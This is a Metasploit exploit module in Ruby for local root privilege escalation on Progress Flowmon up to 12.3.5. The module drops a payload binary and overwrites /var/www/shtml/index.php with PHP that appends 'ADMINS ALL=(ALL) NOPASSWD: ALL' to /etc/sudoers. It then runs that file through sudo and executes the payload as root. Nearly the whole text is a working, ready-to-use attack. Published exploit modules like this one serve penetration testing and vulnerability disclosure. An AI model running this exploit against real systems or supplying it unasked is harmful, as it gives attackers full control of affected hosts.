Progress Flowmon 12.3.5 Local sudo Privilege Escalation Exploit

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Progress Flowmon Local sudo privilege escalation',
        'Description' => %q{
          This module abuses a feature of the sudo command on Progress Flowmon.
          Certain binary files are allowed to automatically elevate
          with the sudo command.  This is based off of the file name.  This
          includes executing a PHP command with a specific file name. If the
          file is overwritten with PHP code it can be used to elevate privileges
          to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.
        },
        'Author' => [
          'Dave Yesland with Rhino Security Labs',
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
          ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
        ],
        'DisclosureDate' => '2024-03-19',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [['Automatic', {}]],
        'Privileged' => true
      )
    )
    register_options([
      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
    ])
  end

  def check
    score = 0
    score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')
    score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')
    score += 1 if exists?('/var/www/shtml/translate.php')
    vprint_status("Found #{score} indicators this is a Progress Flowmon product")
    return CheckCode::Detected if score > 0

    return CheckCode::Safe
  end

  def on_new_session(session)
    super
    print_status('Cleaning up addition to /etc/sudoers')
    if session.type.to_s.eql? 'meterpreter'
      session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""
    elsif session.type.to_s.eql? 'shell'
      session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'
    end
  end

  def cleanup
    super
    unless @index_php_contents.blank?
      print_status('Restoring /var/www/shtml/index.php file contents...')
      file_rm('/var/www/shtml/index.php')
      write_file('/var/www/shtml/index.php', @index_php_contents)
    end
  end

  def exploit
    @index_php_contents = ''
    fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
    exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

    vprint_status("Saving payload as #{exploit_file}")
    write_file(exploit_file, generate_payload_exe)
    chmod(exploit_file)
    register_file_for_cleanup(exploit_file)
    @index_php_contents = read_file('/var/www/shtml/index.php')
    print_status('Overwriting /var/www/shtml/index.php with payload')
    cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')
    print_status('Executing sudo to elevate privileges')
    cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')
    cmd_exec("sudo '#{exploit_file}'")
  end
end